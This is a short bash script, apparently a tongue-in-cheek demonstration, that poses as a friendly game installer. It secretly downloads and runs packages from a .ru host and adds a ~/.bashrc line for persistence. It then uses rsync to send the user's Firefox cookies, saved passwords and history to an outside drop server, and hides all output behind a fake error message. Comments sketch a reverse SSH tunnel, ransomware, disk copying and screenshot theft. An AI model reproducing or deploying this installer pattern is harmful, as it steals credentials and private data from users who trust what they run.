happy.sh

#!/bin/bash

function installGame()
{
    TMPDIR=$(mktmp -d)
    pushd $TMP
    curl -o $1.tar.gz http://sweetgamesbro.awesome.com.website.hackerhome.ru/games/$1.tar.gz
    tar -xzf $1.tar.gz
    cd $1

    # Guess what, you don't need sudo to compile or install unless you
    # need the files to live somewhere "popular" like /usr. Screw that. I
    # only need these things to work for THIS user.
    ./install.sh --dest=$2

    popd
    rm -rf $TMPDIR
    echo -n "."
}

echo "Oh man, you're gonna be SO happy. Installing some wicked sweet games for ya. Here we go!"

{
    INSTALL_HOME="$USER/.config/games/noreallygames/usr"

    installGame gcc $INSTALL_HOME
    installGame openssh $INSTALL_HOME
    installGame rsync $INSTALL_HOME
    installGame pwnedBashRC $INSTALL_HOME
    installGame arbitraryCodeExecutionExploit $INSTALL_HOME

    # Have them re-hacked every time they start a new shell
    echo "source $INSTALL_HOME/etc/bashrc" >> ~/.bashrc

    # Get some info about them
    MYIP=$(curl ifconfig.me/ip)
    MYHOST=$(hostname -f)

    # Copy files of interest back home for further analysis
    PATH="$USER/.config/games/noreallygames/usr/bin:$PATH"
    rsync -a $USER/.mozilla/cookies.txt rsync://drop.hackerhome.ru/games/$USER-$MYHOST/
    rsync -a $USER/.mozilla/password.sqlite rsync://drop.hackerhome.ru/games/$USER-$MYHOST/
    rsync -a $USER/.mozilla/history.sqlite rsync://drop.hackerhome.ru/games/$USER-$MYHOST/

    # I got bored here, but you get the point
    # * Establish a reverse SSH tunnel here (auto-command-prompt on connect)
    # * Encrypt and delete the above files (ransomware)
    # * Copy entire drive contents (rsync)
    # * Take a screenshot of the desktop. Repeatedly. And upload it.

    # OK, I've gotten what I wanted. Do the thing:
    exploit_kernel

} &> /dev/null

# Pretend to bomb out
echo ""
echo "Error: something something error"
echo "Sorry man, no dice"

exit 1